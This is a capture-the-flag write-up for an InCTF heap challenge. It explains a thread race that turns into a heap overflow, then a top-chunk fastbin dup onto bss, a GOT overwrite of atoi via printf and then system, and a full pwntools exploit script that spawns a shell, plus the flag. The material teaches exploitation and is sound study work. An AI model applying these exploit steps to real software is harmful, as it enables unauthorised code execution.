Attachments: binary libc source
The binary is a 64-bit ELF, non-stripped. Here are the mitigation’s enforced.
1
2
3
4
5
6
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Thats not much!
Reversing
The source code is provided along with this post. So you can quickly go through it. Basically the binary allocates chunks on the heap, stores the pointer to the chunk in a global variable named ptr
and allows us to edit the chunk pointed to by ptr
. The catch is that ptr
is overwritten each time a new chunk is allocated, so it only contains the pointer to the last allocated chunk. Here’s a quick overview of the main functionalities -
alloc : This option asks the user how many chunks to allocate at a time (1 or 2) and, if 2, then creates a separate thread to allocate a second chunk (1 chunk is allocated by the main thread). The catch is that, if there are multi-threds, then each thread times out after 4 seconds. Oh, and we also can input an author name. The pointer to the heap chunk, the size and the pointer to author name are stored in global variable’s namely,
ptr
,size
andauthor
. So these are overwritten each timealloc
is called.edit : This allows us to edit the chunk pointed to by
ptr
, if one exists. We can only editsize
bytes.
Note: The sem_**** methods are just there to guarantee synchronous behavior among the various threads and can be considered irrelevant in our exploit.
Vulnerability
Race condition in alloc
when the context switch between threads is taking place.
1
2
3
4
5
6
7
8
9
10
11
do
{
printf("\nEnter Size %d: ",n);
size=getint();
}while(size<=0 || size>1000);
ptr=malloc(size);
printf("\nEnter Author name : ");
getinp(auth,0xf0);
author=strdup(auth);
printf("\nEnter Data %d: ",n);
getinp(ptr,size);
So, in thread1, after the malloc(size)
statement is executed, if we wait for 4 seconds, then thread2 begins execution. Now we give the size
value as any integer above 1000, and again wait for 4 seconds so the control is passed back to thread1. Notice that in thread2, since the control never came out of the while loop, the ptr
pointer was never reset, while now the size
has been updated to a large value. So in thread1, in getinp(ptr,size)
statement, we have a huge heap overflow.
Note: Since there is no “view” functionality in the code, I saw no way to get a memory leak by just using the provided functions.
Exploit
Right, so we have a huge heap overflow now. So what do we do with that? There is no call to free
in the code and neither is there a memory leak. This prevents us from using many traditional heap exploitation techniques. Also, due to lack of memory leaks, we can’t do a House of Orange.
Well, the aim is to use the heap extension functionality of malloc
to free the top chunk such that the top chunk size lies in the fastbin range and then do a fastbin dup to bss segment (PIE is off, so we have the bss addresses). I’ve written about this method here - vigneshsrao.github.io//fastbin-dup. If something in this para was unclear, then please go through this post, which explains the method that we will be using, in more detail.
Okay, so lets get started. First use the heap overflow to change the size of the top chunk to a smaller (but page aligned) value. Now we will allocate chunk such that the size of the top chunk is just enough to hold another data chunk.
After the next data chunk has been allocated, the size of the top chunk should be 0x70(required)+0x20 = 0x90
bytes. The 0x20 bytes extra are for the misc usage of malloc
while it extends the chunk.
Now we will set the author
such that the size is more than 0x90. When malloc
tries to service this request, it sees that that the size of the top chunk is too small and tries to extend the heap. Thus the current top chunk is freed (after 0x20 bytes have been taken out). But while freeing the top chunk, its size was 0x70 which is in the fastbin range. So this goes into the 0x70 size fastbin freelist instead of the unsorted bin.
And now finally we use the race condition a second time to get an overflow into the fastbin (freed top chunk) and edit its fd
pointer.
Lets just quickly sum up what we did in the last couple of para’s
- Make top chunk of size = 0x90 + sizeof(1 data chunk)
allocate the data chunk such that the size of the remaining top chunk = 0x90. Now in the same thread, allocate
author
such that its size is > 0x90. This will lead to top getting freed and allocate theauthor
in the extended heap segment. So this is how the heap would look-1 2 3 4 5 6 7 8 9
misc chunks -------------------- chunk -------------------- freed top chunk -------------------- -------------------- author --------------------
- So now we use the race and get an overflow from the chunk just above the top. Thus we can overwrite the
fd
of 0x70 sized fastbin chunk.
Since we know the bss address and all libc addresses start with 0x7f, we can use one GOT value as target for fastbin corruption. Lets use stderr
GOT address for this. So we overwrite the fd
of the free chunk with stderr
GOT +5-8. The + 5 for getting the size as 0x7f and -8 as we need to give the start of the chunk in fd
.
Now the next time we allocate chunk of size 0x70 we are returned the previously freeed top chunk and in the next request for size 0x70, we get the chunk in bss, just below stderr
.
Here’s how the area near stderr
in bss looks like
1
2
3
4
5
6
7
8
0x6020c0 <stdout@@GLIBC_2.2.5>: 0x00007ffff7bb5620 0x0000000000000000
0x6020d0 <stdin@@GLIBC_2.2.5>: 0x00007ffff7bb48e0 0x0000000000000000
0x6020e0 <stderr@@GLIBC_2.2.5>: 0x00007ffff7bb5540 0x0000000000000000
0x6020f0 <ptr>: 0x0000000000000000 0x0000000000000000
0x602100 <size>: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120 <sema>: 0x0000000000000000 0x0000000000000000
0x602130 <sema+16>: 0x0000000000000000 0x0000000000000000
And here’s the area aligned as a heap chunk
1
2
3
4
5
6
7
gdb-peda$ x/xg 0x6020dd
0x6020dd: 0xfff7bb5540000000 <--Chunk start
0x6020e5 <stderr@@GLIBC_2.2.5+5>: 0x000000000000007f
0x6020ed: 0x0000000000000000 <-- We have write access from here
0x6020f5 <ptr+5>: 0x0000000000000000
0x6020fd <author+5>: 0x0000000000000000
0x602105: 0x0000000000000000
So we can basically overwrite the value of ptr
. Lets overwrite this with GOT address of atoi
. First to get a leak. For this edit the chunk (which is basically GOT of atoi
) and make its value as PLT of printf
. Then use format strings to leak out libc. After this edit the chunk again to overwrite atoi
GOT with system
address. Next time the prompt for option is presented, enter /bin/sh
and booooom, you get a shell!
Here’s my exploit script for the same -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
import sys
HOST='localhost'
PORT=3333
def connect():
if len(sys.argv)>1:
r=remote(HOST,PORT)
else:
r=process('./chall')
libc=ELF("./libc.so.6")
def menu(opt):
r.sendlineafter("Enter choice >> ",str(opt))
def edit(data):
menu(2)
r.sendlineafter("Enter new data: ",str(data))
def race_cond(size,data,size2,data2,size2_act,auth):
menu(1)
r.sendlineafter("How many chunks at a time (1/2) ? ",'2')
out=r.recvuntil(": ")
if out[-3]=='2':
log.info("unsuccessful")
return -1
else:
r.sendline(str(size))
sleep(4)
log.info("Sleep1 over")
r.sendlineafter("Enter Size 2: ",str(size2))
sleep(4)
log.info("Sleep2 over")
r.sendline(auth)
r.sendlineafter("Enter Data 1: ",data)
r.sendline(str(size2_act))
r.sendlineafter("Enter Author name : ",auth)
r.sendlineafter("Enter Data 2: ",data2)
return 1
def alloc(size,data,auth='q'*0xf0,l=False):
menu(1)
r.sendlineafter("How many chunks at a time (1/2) ? ",'1')
r.sendlineafter("Enter Size 1: ",str(size))
if l:
r.sendlineafter("Enter Author name : ",auth)
else:
r.sendafter("Enter Author name : ",auth)
r.sendlineafter("Enter Data 1: ",data)
def exploit():
alloc(1000-0x100,"q")
alloc(1000-0x100,"q")
alloc(1000-0x100,"q")
race_cond(568,"a"*0x230+"qqqqqqqq"+p64(0x71)+p64(0x6020dd),10000,"aa",12,"q"*(0xf0-1))
alloc(90,"q")
alloc(90,"qqq"+p64(0x602088))
edit(p64(0x400970))
menu("%3$p##")
libc.address=int(r.recvuntil("##").replace("##",''),16)-0x3da51d
log.info("libc @ "+hex(libc.address))
l=0x602088
menu("11")
r.sendlineafter("Enter new data: ",p64(libc.symbols['system']))
menu("/bin/sh\x00")
if __name__=='__main__':
success=False
while(not success):
if len(sys.argv)>1:
r=remote(HOST,PORT)
else:
r=process('./chall')
success=race_cond(12,"A"*24+p64(0x21)+"A"*24+p64(0xea1),10000,"12",12,"QQQQ")
log.info("successful")
exploit()
r.interactive()
And the flag was
1
InCTF{w1n_th3_r4c3_t0_r0mp_1n_the_h34p}
Hope you enjoyed this challenge and our CTF !